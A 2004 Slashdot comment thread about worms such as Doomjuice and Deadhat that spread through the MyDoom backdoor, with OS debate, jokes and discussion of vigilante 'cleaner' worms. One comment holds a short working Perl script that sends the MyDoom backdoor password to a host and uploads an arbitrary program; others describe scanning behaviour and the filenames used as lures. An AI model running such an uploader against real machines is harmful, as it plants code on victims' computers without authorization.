New Worms Feed on MyDoom Infections

JJP writes "ZDNet Australia is reporting that two new worms, Doomjuice and Deadhat, are taking over computers previously infected by the MyDoom virus. Apparently they try to uninstall the MyDoom virus and then take over the PC to start their own malignant work. Whilst the threat these two worms pose shouldn't be too big, both needing a MyDoom backdoor, it is still a novel way to spread a virus. In the Netherlands there is a newspaper reporting this proves MyDoom was initialy spread by organised crime in a dark plot to wage cyber-war and steal confidential data from our computers."

Comments

Get a Mac

[BWJones]

This reminds me of that old ad which opens with a guy was trying to hook up his laptop at a huge meeting to start a presentation. He is having problems getting things to work and people are yelling suggestions from the audience: "Try c: start!" or something like that. This goes on for some time with different people yelling various suggestions and then at the very end when it appears things are not going to work, someone yells: "get a Mac!" The ad then fades out.... I suppose for the Linux crowd, the yell could be "get a Penguin" or "get a boxen", but the sentiment is the same: Do something.....Do anything......but do not continue to use that unsecured Windows box. You are wasting your time and you are wasting my time and costing companies, businesses and governments big time.

Re:Get a Mac

[IthnkImParanoid]

Funny you suggest either buying a whole new machine, or using a whole different OS, when the MyDoom problem could just be solved by not opening attachments.

I'll just ask: is it possible for a binary file to open ports and send itself as an email attachment on a Mac? On a linux box? Are you sure you understand the problem?

Re:Get a Mac

[Matey-O]

Bullshit. There's NO reason why a windows box can't be just as stable and secure as any alternative. None (and I mean ZERO) machines on our network were affected by any of the mydoom variants.

Sane creation of a network topology, email subsystem, proactive network monitoring, and general patch management is NECESSARY to operate a large internet connected environment, reguardless of the Operating System of Choice.

(and to head off the usual Mac'noids, show me a mac based application that scans, OCRs, and backs up to multiple Optical drives 20,000 documents an hour.)

Re:Get a Mac

[ealar dlanvuli]

We are talking about end users, and yeah Windows security is abysmal.

Re:Get a Mac

[Frymaster]

could just be solved by not opening attachments.

anything else i should avoid doing? i think you amply illustrate the point that the virusmania has reduced the usability of windows.

with my linux box and mac i can do whatever i want - including open attachments... i bought a computer so i could use it.

is it possible for a binary file to open ports and send itself as an email attachment on a Mac?

do you mean, "can i telnet 25 to another host"? well, yes. i hope that was a rhetorical question.

if you mean, "can i fire up an mta and start spraying email all over creation"? then the answer is only if you have root. and if that virus has root... well, you've got bigger problems.

Re:Get a Mac

[Anonymous Coward]

Again, parroted on slashdot numerous times -- why hit the less than 1/3 IIS installations out there when you can hit 2/3 with an Apache bug?

popularity isn't exactly directly related to the number of exploits it has. :)

Re:Get a Mac

[Anonymous Coward]

(and to head off the usual Mac'noids, show me a mac based application that scans, OCRs, and backs up to multiple Optical drives 20,000 documents an hour.)

There's NO reason why a Mac box can't do the exact same thing as any alternative. Sane creation of network topology, data backup subsystem, and general intelligence is NECESSARY to operate a large backup operation, regardless of the Operating System of Choice.

Re:Get a Mac

[Dionysus]

with my linux box and mac i can do whatever i want - including open attachments... i bought a computer so i could use it.

To be infected by MyDoom, you would have to open the attachment and run the binary.

if you mean, "can i fire up an mta and start spraying email all over creation"? then the answer is only if you have root. and if that virus has root... well, you've got bigger problems.

Eh, no. You don't have to be root to "spray email all over creation". Outgoing connections usually use unprivileged ports. And to accept incoming connection without root, you just need to listen to a port above 1024.

Re:Get a Mac

[Some Dumbass...]

Sane creation of a network topology, email subsystem, proactive network monitoring, and general patch management is NECESSARY to operate a large internet connected environment, reguardless of the Operating System of Choice.

You realize, of course, that the average computer user wouldn't even _understand_ this sentence, much less be able (or willing?) to implement your suggestions.

You may be right in theory, but for unskilled (read: average, normal) users in the real world, Macs are currently the safe choice. There are just fewer exploited vulnerabilities in Mac OS X than in Windows XP. So for now, "Get a Mac" isn't such bad advice, if only for practical reasons.

Re:Get a Mac

[IthnkImParanoid]

My point is that the Windows' inherent insecurity is not the cause of MyDooom and, more specifically, the latest worms mentioned in the submission.

Yes, the question was rhetorical, and the point is an app can start accepting connections on a given port (which is how the latest worms are spreading) no matter what your OS. It's possible to firewall everything and require admin access to open ports on Linux and OSX, but hey, it's possible on Windows too. Bad sysadmins and clueless users are a problem on every platform.

Re:Get a Mac

[Moridineas]

Don't mean to be pedantic--but you wouldn't say "get a boxen" because boxen is plural.

etymologically it's an old way (well, old in English) of pluralizing that we only see in a few words...child children, brother brethren is similiar too. Interestingly enough, Persian being an Indo-European language has it too--Taleban (-an) is students (pl).

Re:Get a Mac

[Kenja]

MyDOom has its own SMTP server built into it. All it needs is access to outgoing ports. Thats it, nothing more. You would not need root access for it to work. You would just need to be dumb enough to download the attachment and run it. Just like people are doing on Windows.

Re:Get a Mac

[RancidBeef]

Well, that's true to a degree. I have several Windoze boxes (on VMWare virtual machines) that I'm responsible for. However, I've noticed that if I do a fresh install with the Win2K disk on a new VM the damn thing gets the Blaster worm (or even Code Red or Nimda) before I can even install the latest service pack. Yeah, I know I should disconnect it from the net until I get the SP installed, but that's a pain in the ass too because that means I have to keep a CD around with all the SPs. As I understand it, all service ports on a Mac are off by default. If Windows came this way, I wouldn't have to worry about this. Also, it's not a problem when installing Linux because I can choose to leave the services off before I ever boot it for the first time.

Re:Get a Mac

[dgatwood]

On Mac OS X, installing a startup item requires you to manually type in your administrator password. Viruses could only become a permanent part of your system if they could convincing people that there was a reason to allow them to install things. Otherwise, such a virus could only run until you rebooted your computer or logged out, making it much less effective.

A virus would not be able to automatically start just by reading a message, as Mail doesn't allow that to happen. More significantly, it could not masquerade as another type of file, since clicking on it would pop up a dialog that says something like "Warning: the attachment 'foo.jpg.app' is an application. Since applications can contain viruses, make sure this was sent by someone you trust." or some such.

In short, even if the Mac platform were the primary computing platform on the planet, it would not have these problems at the same level, IMNSHO.

Re:Get a Mac

[Anonymous Coward]

People aren't downloading and running an executable. They are double-clicking on an attachment or whatever. Then, since windows is all about being integrated and since most user run as "root" in Windows, it's allowed to get set up as a daemon and install itself to be loaded whenever a machine boots. In my opinion, it's the general design of the Windows operating system that is at fault. Loading an attachment (zip file was the big one at my place of work) shouldn't install a damn virus.

Re:Get a Mac

[dustman]

Find a bug in Apache that isn't patched within a day. Go ahead. I dare you.

Guarantee me that if I look I won't find an apache server which is months or years out of date. Go ahead. I dare you.

Re:Get a Mac

[BiggyP]

so, on linux, i'd download the attachment, run it through unzip, make the binary executable, then run it? not bloody likely, -1 for usability maybe, but definately +3 for safety around newbies.

of course i'm sure on KDE with some WINE integration it could be so much quicker and easier...

Re:Get a PENCIL AND PAPER

[Denver_80203]

I hear those are safe too.. and just as useful to me in my busniess as a Mac.

Proofs?

[petabyte]

Hmm, it "proofs" eh? Maybe we could get it installed on slashdot to proof all stories as they're posted. :)

Deadhat

[Anonymous Coward]

Is that the new BSD release?

Ooo!

[HarveyBirdman]

Maybe Red Hat or Apple paid for the *virus*. :-)

Re:Ooo!

[UFNinja]

No, if it was funded by Apple it would be called iDoom. ;)

Re:Ooo!

[cetan]

...and you'd have Mac users paying $99 for the upgrade to iDoom 0.0.1

Re:Ooo!

[addaon]

iAgree.

Proof?

[Srividya]

No proof yet... BBC says MyDoom spread by Linux users to hurt SCO, Linux users say MyDoom spread by spammers to hurt everyone, spammers say MyDoom spread by BIGGER PENIS NOW... Who to believe?

Re:Proof?

[Landaras]

You mispelled 'B1GG3R P3NI5 N0W!!!1111'

- Neil Wehneman

It proves one thing. . .

[UFNinja]

this proofs MyDoom was initialy spread by organised crime. . .

I think it "proofs" that the editors don't proofread the submissions. :-P

AIM

[nycsubway]

I wonder if those random IMs I got in AIM are related to MyDoom. I got a couple random messages about capturing Osama Bin Laden from people i have talked to in ages. Seems like some sort of virus. Anyone else have that happen?

Re:AIM

[ParadoxicalPostulate]

Funny I was just looking that up for a friend.

This is not MyDoom.

This link may help.

Check that out, may help.

Re:AIM

[iLL_L0gic]

http://www.wired.com/news/infostructure/0,1377,622 51,00.html?tw=wn_tophead_7 Has nothing to do with it. What it has to do with is idiot people clicking "Yes" on the installation of an ActiveX control that installs spyware on their system. I'd say that's still the easiest way to get a virus installed on a windows box, end users always click yes. :)

Re:AIM

[phillymjs]

No, that's different scumware.

~Philly

Ok..

[hookedup]

Here's an idea..

Next time, if you're going to post a link that you have to register for, at least make sure it's in english.

In other news...

[FortKnox]

In other news, by looking at the same day's news from the Netherlands, you'll see they just released "Deus Ex" and "Deus Ex: Invisible War." Conspiracy Theories have quadrupled since.

Thread?

[$-chavito-$]

I hate it when those sneaky Windows worms pose as threads, it makes em that much harder to catch.

DoomNet...

[LostCluster]

MyDoom's backdoor has been demonstrated by DoomJuice and now the copycats are at it. There's now network of zombies willing to do the bidding of anybody who hacks in... remember, the MyDoom name is based on a typo, the author wanted to call it MyDomain.

I guess the only positive side effect is that some of these DoomJuice variants are closing the back door from the original MyDoom so that nobody else can interfere with them. Now, if only there was a MyDoom uninstaller worm that didn't have another distructive payload...

Re:DoomNet...

[Weird O'Puns]

Actually, according to many sources Deadhat/Vesser came before DoomJuice. So technically DoomJuice is the copycat. There's also a new variant of Welchia that makes use of MyDoom backdoor and then tries to remove it.

Re:DoomNet...

[That's Unpossible!]

remember, the MyDoom name is based on a typo, the author wanted to call it MyDomain

Almost right. MyDomain was apparantly a variable in the code (uhh, then I am guessing VB code?) and he spelled it MyDoomain.

Re:DoomNet...

[httptech]

Vesser was discovered before Doomjuice, but if you look at the PE timestamp header, you see that Deadhat/Vesser was compiled on Tue Feb 4 06:23:59 2003, while Doomjuice was compiled on Tue Jan 27 06:22:58 2004. While the PE timestamp field can be easily edited, these dates are probably accurate in my opinion. So, Doomjuice can't be considered a copycat of Vesser.

My writeup of Doomjuice: http://www.lurhq.com/mydoom-c.html

Re:DoomNet...

[L0stm4n]

#!/usr/bin/perl -w
use IO::Socket;
use strict;

if(@ARGV < 3) {
print "****** Usage: $0 \<ip\> \<port\> \<program to upload\> ****\n";
exit -1;
}

my ( $host, $port, $exe ) = ($ARGV[0], $ARGV[1], $ARGV[2]);
my $doompass = "\x85\x13\x3c\x9e\xa2";

my $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) or die "cannot open socket: $!";

print $socket $doompass;

open(INPUT, $exe) || die "Can't open: $!";
while (<INPUT>){
print $socket $_;
}
close(INPUT) || die "Can't close: $!";

Re:DoomNet...

[httptech]

In the past two days, my honeypot listening on port 3127 has captured 56 copies of Doomjuice.A, 10 copies of Doomjuice.B and 1 copy of Mitglieder. It's really not a lot if you think about how big the Mydoom.A outbreak appeared to be. Here's an extra credit math problem - take those numbers and the time it takes to scan a subnet and get a rough estimate of infected machines. Each Doomjuice-infected system starts 64 threads, each one picks a class C at random and attempts to connect to hosts 1-254 in sequence (the 127.x.x.x class A subnet is the only one skipped)

Is "DeadHat" a reference to ....

[Kehl]

... the now defunct "RedHat" Linux distro?

Way to go on damming Linux users reputation :/

Virus names

[Anonymous Coward]

Do you think people come up with a clever virus name or the virus first?

Re:Virus names

[DougWhite]

Isn't kinda like forming a Rock Band, you pick the name, and the image. The music comes to you after you sell your soul to the RIAA?

Re:Virus names

[Erick the Red]

The anti-virus companies come up with the names, often making fun of the virus writers in the process. MyDoom was named for a variable misspelling: MyDoomain (suppose to be MyDomain).

Re:Virus names

[eidechse]

The names are determined by virus researchers, not the virus writers. In fact, if during analysis it's apparent that the writer wanted a certain name used that name is intentionally avoided.

Re:Organized crime?

[Trigun]

When are the nation states going to wake up and start an international war against spam?

When the spammers have oil.

Cyber war? Puleeeze

[saskboy]

"In the Netherlands there is a newspaper reporting this proves MyDoom was initialy spread by organised crime in a dark plot to wage cyber-war..."

If organized crime was looking to steal data, all they had to do is ask people. Hundreds of people hand over their eBay, PayPal, and credit card information every day to phisher emails claiming to be from a legit company. Making a worm to steal the information isn't even necessary when the user is already the weakest link after being socially engineered.

Posing "threads"

[AndroidCat]

Viruses that install backdoors aren't new. And scanning to look for the backdoors isn't new. MyDoom.A got big press, spread far, and now (especially since it's now open source :) there are going to be a lot of people taking advantage of it.

All the speculation about who did it or even why is still speculation. (If someone hated SCO so much, why stop after two weeks?)

"only about 50,000 or 75,000 machines left"

[__past__]

Could please someone find their owners and make sure they never get to operate a computer connected to a public network again? They have clearly shown not to be qualified, and are a threat to others.

I thought that Doomjuice was from the ...

[burgburgburg]

creator of the original MyDoom and was leaving a copy of the source of MyDoom on the hard disk. The thoughts were that: a) only the creator of the original would have the source to include as part of Doomjuice's payload and b) if "everyone" had a copy of the source on their hard disk, it would be difficult to prove that any one person was responsible for originally writing it (assuming their computer was found/confiscated/examined).

Re:I thought that Doomjuice was from the ...

[LostCluster]

The problem was, by releasing Doomjuice, that author has effectively released an open source program to exploit what I'm calling "DoomNet", the network formed by the PCs infected with MyDoom that haven't been cleaned up yet.

So, effectively we've got worm-writing for dummies now. No need to write new full-featured virus, nor even the need to know how to exploit an obscure security hole. Just take DoomJuice and add your own payload...

Re:I thought that Doomjuice was from the ...

[LostCluster]

When there's 48 similar worms all doing similar things, it's a little hard to figure out which one came first, and which worm caused which damage. Confuse juries enough to create a reasonable doubt, and in the USA at least you're in the clear...

I wonder

[bigattichouse]

Not that I would condone the activity, but I'm surprised someone hasn't made an email virus that installs an OS on the machine. I would find this in incredible violation of ones choice, but I still won't be surprised when it happens.

Re:I wonder

[iamdrscience]

50MB email attachments don't work so well.

Re:I wonder

[Eberlin]

Unless you're looking at a really small OS, it's a payload/bandwidth issue. As fun as it would have been to network-install SuSe on people, it has got to be darn slow on a dial-up line. Besides, all that downloading slows down the "virus" propagation.

Now imagine a worm that would go through an IIS-based system, backup all their ASP files and fish for anything SQL Server-related onto a remote server, install LAMP, run ASP2PHP on those ASP files, "restore" them to the server, and electronically file for a MS refund. Sounds good, but of course people would consider this an invasion of their machines. :) Actually sounds like an extended/revised form of the depenguinizer.

Lamest... Names... Ever

[addie]

Maybe these guys should just start hard rock bands: MyDoom, DoomJuice, DeadHat... It's like when I worked at LaserQuest and had to listen to all the stupid ideas kids had for their codenames.

What's next, ThunderCat? MrDoom? Anyone smart enough to write a virus this effective must be more imaginative than this!

Re:Lamest... Names... Ever

[SirTalon42]

Blame the AV companies, their the ones that have no imagination (and come up w/ the names).

white hat worms?

[Anonymous Coward]

I wonder... what are the legalities behind having a worm go around, attack the backdoor created by MyDoom, and cause an alert box containing the infection info to pop-up on the user console? Or, change the person's wallpaper to a similar message so that they dont just blindly hit ok?

Re:white hat worms?

[Anonymous Coward]

Unauthorized access is unauthorized access. The authorities would be happy to prosecute a well-meaning good samaritan. Vigilante justice is (unfortunately) illegal in all circumstances.

And most people in the know would agree that Welchia, which was the worm intended to fix Blaster infections, was actually worse than Blaster in terms of its impact on networks.

Organized Crime?

[knarfling]

In the Netherlands there is a newspaper reporting this proves MyDoom was initialy spread by organised crime

I am willing to admit that SCO is a crime, but who is claiming that they are organized??

I think I would be willing to admit that it was spread by a criminal comany.

Laugh with me...

[crimson30]

1. Go here: doshelp.com
2. Block applicable ports
3. Smile when alerts are issued

Re:Laugh with me...

[ron_ivi]

Are you suggesting people block all those ports because there are known windows trojans that use them?!?

Sure if you block ports 21, 25, 53, etc you might be safer, but far less functional a system as well. If you go that far, I think you'd be better firewalling off all ports and just opening the ones for the services you _want_ to have exposed.

A way to deal with worm outbreaks?

[gokubi]

"Apparently they try to uninstall the MyDoom virus and then take over the PC to start their own malignant work."

When a big worm comes out, wouldn't it be possible to write another worm that would utilize the backdoor, get rid of the worm, and then hang about to make reinfection impossible?

My organization took care of the worm in the first few minutes after it started spreading, but there seem to be a lot of people still out there who aren't protected (if the number of inbound mails my mail server quarantines each day is any indication).

If someone in a white hat wrote a MyDoom imobilizer worm, and then released it, wouldn't that put a speedy end to MyDoom in the wild?

Re:A way to deal with worm outbreaks?

[delirium28]

This happened with one of the other worms last year (Slammer or something similar, I can't recall right now).

The problem is that by creating a worm that cleans up the original malware worm, the fix is just as bad as the original virus. You're still using a lot of bandwidth that isn't yours, you're still sending out a program to change someone else's system without their permission, etc.

On the surface it looks like a good idea, but unfortunately it has a lot of serious drawbacks.

Hey man, lay off

[Anonymous Coward]

My Windows box is much better than some stupid ol' Mac. My system installs software ALL ON ITS OWN! Heh, yeah. This software makes my system do things I couldn't have done even if I tried...like sending mail to a bunch of people I haven't even met.

My system is part of a new global network. Your Mac just sits there and runs. :-P

for the non-dutch

[sosume]

or those who cannot get past the registration links:

Amsterdam - There are signs that the computer virus MyDoom has been brought into circulation by organised crime syndicates. The wormvirus was accompanied yesterday by the evil program 'DeadHat'. Microsoft and software maker SCO have a quarter *billion* dollar in stock to reward the tip that will lead them to its creators.

According to the British research firm mi2g, deadhat is designed to provide its creator with sustaining, long-term control over a system. This power could be abused to hostage websites.

It is also possible to abuse the pc in sending spam e-mail, and the program is capable of harvesting passwords and other confidential information. Deadhat is an intelligent software agent, a program .....

[snip] the really boring part

According to mi2g, deadhat has encrypted intelligence, waiting to be activated. "This definitely looks like the work of organized crime"

Meanwhile, Soomjuice has come to surface. Another worm which seems to battle for control of the PC.

Re:for the non-dutch

[hotair]

These follow on worms seem like crude attempts to implement Curious Yellow.

http://blanu.net/curious_yellow.html

I'm really surprised that we haven't seen various implementations taking over large numbers of computers.

My only thought has been that the kind of person who implements Curious Yellow is sufficiently more skilled than the average worm writer that they choose to be subtle and slow. If that is the case, then I expect that the 75,000 is a very small number of machines compared to those that are already running a variant of Curious Yellow.

Just some rambling thoughts.

For Newbies, not experienced users.

[Azureflare]

Talk about overreacting. But, you proved the grandparent posters point. You are obviously not a user who needs to switch to a mac. You know what you are doing.

These people STILL infected with MyDoom don't know the first thing about computer security. They would be MUCH MUCH better off with a Mac than with windows. All they probably do anyway is chat with their little friends on AIM and check their webmail.

It's obvious that windows is NOT the perfect OS for clueless newbie users, because it leaves gaping holes for them to be abused through. Think about it from the newbie point of view, not the experienced user point of view.

Thank you.

Re:For Newbies, not experienced users.

[ball-lightning]

These people STILL infected with MyDoom don't know the first thing about computer security. They would be MUCH MUCH better off with a Mac than with windows. All they probably do anyway is chat with their little friends on AIM and check their webmail.


And that's great, until Macintosh's become popular enough for viruses to be written for them (at which point its going to be a massacre). A guy I work with owns a Macintosh, and he brags about how he doesn't need to run any antivirus program and how he can open all attachments. If a virus like MyDoom was created for the Macintosh, how much you want to bet my coworker (and people like him) would get infected right away, because they aren't using common sense? Windows may be buggy, and windows may have a lot of security holes, but in this case, MyDoom does not take advantage of any of them MyDoom takes advantage of the traditional weakest link in any security system, people.

Re:For Newbies, not experienced users.

[aztracker1]

I pretty much agree, at this point, I stop all executables, and .zip files at my mail server.. kind of a pain, but between that, and the 25 RBLs I have setup, I only get about 10-15 unwanted emails a day... *sigh* ... I won't run windows in front of a firewall now, even if psuedo-secure (only known port s available) .. too much of a pain.

Personally, I like IIS as a webserver, and happen to like .Net.. and as mono matures, am more, and more considering the switch... I haven't liked MS's political stances for several years now, and linux is finally "getting there" enough for a serious look... I can run my favorite text editor under wine, and use firefox (formerly firebird) as my primary browser, and thunderbird for email.. only my work keeps me tied to windows.

Seriously think in about a year or so, will be able to switch with little drawback, and may even just run windows via vmware inder linux... the last try at it with suse and ximian desktop a few months ago wasn't so bad.. a few kinks.. but worked... may make another go, in a few more months. (Already use windows versions of a lot of OSS software as it is now anyhow).

Re:Cyber war? Puleeeze

[saskboy]

But nothing is new with MyDoom. Maybe the intent, but there are still dozens of active viruses out there with back door capabilities that could be exploited by crime, or by spammers [which are criminals I suppose].

Why commit computer crimes from your own machines, when you can do it from another person's, and in fact connect to a 2nd or 3rd infected machine from the first infected machine to add another layer of dificulty to any investigation?

The ability to harvest contact information exists in a simple forwarded joke email. This is not advanced "war" stuff. If it was advanced, people wouldn't have noticed.

Exchange servers beware

[t0qer]

This could have happened to anyone I guess....

Last week I get a call from another tech friend, "Hey toqer, I got this customer and they got infected with MyDoom. The NAV wasn't set to exclude the exchange store on the server, and it wiped out their calendaring info, the server needs all its logs rebuilt"

I asked him for more info. Logs rebuilt? WTF was he talking about? Apparently they had brought in an "Exchange Expert" to fix the problem. The guy spent about 2 days out there and didn't get anything done. After calling them I went out to see exactly what the problem was.

This office is a lawers office, and they're specialty is wills and trust funds. I was met by a really nice french woman at the door. "Toqer, please follow me and I will show you what the problem was"

She first showed me their main problem. Whenever they would try and modify the big bosses calendar, outlook would spit out some nonsense about unable to connect to his free/busy information. Second problem I noticed was the entire network was running on NT4.0, and the machines were all pentium1 class PC's. "Good thing this is hourly" I said to myself.

Looking at the NAV logs, it looked like it had deleted some files from d:\exchngsrv\mtadata (not exactly, this is best recolection) First thing I did was set NAV to exclude those folders. Good, done.. Now it was time to fix the problem itself.

Now I don't have the exact KB article, but the MS solution was to log in as the affected user. Backup his exchange store to personal folders. Use the exchng32 client to delete the calendar folder, then launch outlook with a /resetfolders switch, and finally re-upload his calendar from the PST. After doing it it worked and they were happy.

It took me 4 hours to fix it, nice little chunk o change in my pocket. Thanks MyDoom!

Cleverer Social Engineering

[GillBates0]

According to the Symantec Security Response page on the DeadHat (parody of RedHat?) worm spreads through Soulseek disguised as one of the following:

* Windows2003Keygen.exe
* mIRC.v6.12.Keygen.exe
* Norton.All.Products.KeyMkr.exe
* F-Secure.Antivirus.Keymkr.exe
* FlashFXP.v2.1.FINAL.Crack.exe
* SecureCRTPatch.exe
* TweakXPProKeyGenerator.exe
* FRUITYLOOPS.SPYWIRE.FIX.EXE
* ALL.SERIALS.COLLECTION.2003-2004.EXE
* WinRescue.XP.v1.08.14.exe
* GoldenHawk.CDRWin.v3.9E.Incl.Keygen.exe
* BlindWrite.Suite.v4.5.2.Serial.Generator.exe
* Serv-U.allversions.keymaker.exe
* WinZip.exe
* WinRar.exe
* WinAmp5.Crack.exe

This is also a Social Engineering technique similar to the catchy email sent by other recent worms.

The difference I see is that the filenames are catchier and seem to be targetted towards a more computer savvy audience. Normal Windows users wouldn't need to look for WinRar.exe and the other security software cracks/etc...but then, they're the ones who opened the MyDoom attachments in the first place.

Get the dumb users with vulnerable PCs through email attachments, and break the more secure computers/users through enticing downloads!

Re:Cleverer Social Engineering

[triclipse]

Actually, there are more like 10 - 100 trillion cells in the human body :)

New Welchia Worm

[fdiskne1]

Whereas the new Welchia/Nachi worm cleans the MyDoom viruses, sets the hosts file back to just 127.0.0.1 localhost, installs a few Microsoft patches, reboots and scans for other MyDoom, MSBlast and Welchia infected machines to clean. It also sets up a web server on the machine serving a webpage with a cryptic message about various Japanese and Korean massacres. It then disables itself on June 1, 2004, or after running 180 days, whichever comes first.

I don't normally like any Windows virus, but I have a tough time not liking this one.

Re:New Welchia Worm

[genmanath]

It's true that the worm you describe is a relatively polite worm, but it's still a worm. A gang of burglars which decides to stop breaking and entering in a certain neighborhood after a certain date is still a gang of burglars breaking, entering, and making off with other people's things.

I was employed as a support tech when the MSBlast/Welchia infections started in earnest. I spent a lot of time that could have been used much more productively cleaning it off machines all over the campus. As a once and future support tech, my tolerance for such is slim, and even slimmer when the worm is written to be 'helpful', given that Nachi was more of a problem than Blaster.

Hmmm....

[fizban]

MyDoom: "Who are you?"

DoomJuice: "I'm your Grim Reaper."

MyDoom: "Like hell you are. This is my machine, punk."

DoomJuice: "Prepare to meet thy maker (wink wink)."

MyDoom: "Over my dead process."

DoomJuice: "Look, a little old lady on a Windows 98 machine!"

MyDoom: (turns) "Who? Where?"

DoomJuice: "Your Mom." *BONK* "Muhahahaha! Mine, the world is mine!"

"threat these two worms pose shouldn't be to big"

[jdunlevy]

Whilst the threat these two worms pose shouldn't be to big, both needing a MyDoom backdoor...

Maybe not a big threat in the sense that most of us reading this have been taking precautions against viruses like MyDoom all along (or were on Macs or Linux), but there's still a pretty big secondary threat to all of us who use the internet. I'm still seeing a lot of MyDoom-infected computers out there: a quick look at my mail server shows examples -- sometime multiple examples -- of MyDoom sent from dsl hosts in cerfnet.com, telus.net, sprintbbd.net, and ameritech.net just within the last hour). When Doomjuice and Deadhat get on these machines and start sucking up neighboring bandwidth with their DoS or whatever, it's a problem -- even if it's not actually your machine that's infected.

Re:not exactly "novel"

[mph]

I wouldn't really say this is a novel idea. It seems kind of obvious to me. Worm leaves a gaping hole...write something to exploit gaping hole. duh.

You idiot! By writing a post like that in public, you've just disqualified yourself from ever working in the US Patent Office!

Re:Get a PENCIL AND PAPER

[Professr3]

Etch-A-Sketch... "You shake it to reboot" - Dilbert

Kinda scary

[promethean_spark]

That a worm that digs for personal information goes active right when people start doing their taxes in the US. There are alot of bank account numbers being typed in right now. A worm that hacks taxact to send an account number the virus writer can access instead of the user's would be quite profitable. It'd probably only work for 24 hours or less, but it could steal hundreds of millions in that time.

Viruses : Cutting Edge of Artificial Intelligence

[Pup5]

It's interesting to watch the development of more advanced viruses. We've created the perfect medium for their development, existence within an artificial world.

• Food is computing power, which it steals.
• Prey are vulnerable computers, with computing power unprotected.
• Predators are virus scanning and eradication software.
• Reproduction is checked only by environmental factors.
• Evolution has developed two clear attributes: transport and payload.

It will be very interesting to watch this area develop, especially considering it's place in society. It's incredible that not only have software companies been given virtual total immunity from the financial impact of their defective products, but that they have convinced the right parties that people who expose their defects are criminals. Truly incredible.

Parasites

[BranchingLichen]

So, naturalists observe, a flea
Hath smaller fleas that on him prey;
And these have smaller still to bite 'em;
And so proceed ad infinitum.

-- Jonathan Swift

Similar to Hepatitis D vs B

[henryhbk]

So this is similar to the real life virus Hepatitis D, which is slightly damaged and can't infect a host cell unless actively infected with hepatitis B. It has interesting implications for biology that one can look at the spread of dependent pathogens using computer models, by looking at the spread of these piggyback worms.

That's MY Domain!

[TechyImmigrant]

I have owned the deadhat.com domain for a few years now. It is a simple pun on RedHat and the site is of interest to a very limited group of people.

I am not at all happy that someone has sullied the good name of my website with a worm.

Switching OSs isn't the solution

[Raptor-DP]

I've heard many people say 'well, if you'd switch to mac or linux you wouldn't have this problem.' If one person switches to another OS, they still have to deal with the crap that gets written for windows, because like it or not since the majority is windows, and if its a virus that generates massive amounts of web traffic we all have to put up with it. We all have to deal with the slow downs and the downed servers, not that microsoft's website being down is that great of a loss. At least untill you're a network admin and need information on something critical and can't get to their knowledge base. And if that wern't enough, there are other results of this. It makes the internet look unsafe, and a place that needs outside control. I personally would hate to see more laws and acts then we already have designed to make the internet more 'secure'. Acts set in place to regulate the internet itself, or even more frightening, acts set in place on software makers. Every single new virus that comes out, is a potential launching point for so called Trusted Computing. Because, like it or not, holding the software company responsible for its customers not updating their sofware is stupid. Not saying that Microsoft shouldn't be held responsible for their excuse for a decent OS, but its not like they aren't at least making patches and fixes for the problems found... slowly, yes ... but at least they are released. And I, while not enjoying Microsoft's software, have to use Windows for certain things, and am glad they are finally taking care of the problems they have. But am completly pissed the hell off at their supposed Trusted Computing, an evil that must be stopped. On another note, has anyone noticed an in crease in DNS downage? I've had a few people tell me about problems, that when eventually looked into, were because of downed DNS servers. Possibly a result of MyDoom and Co.?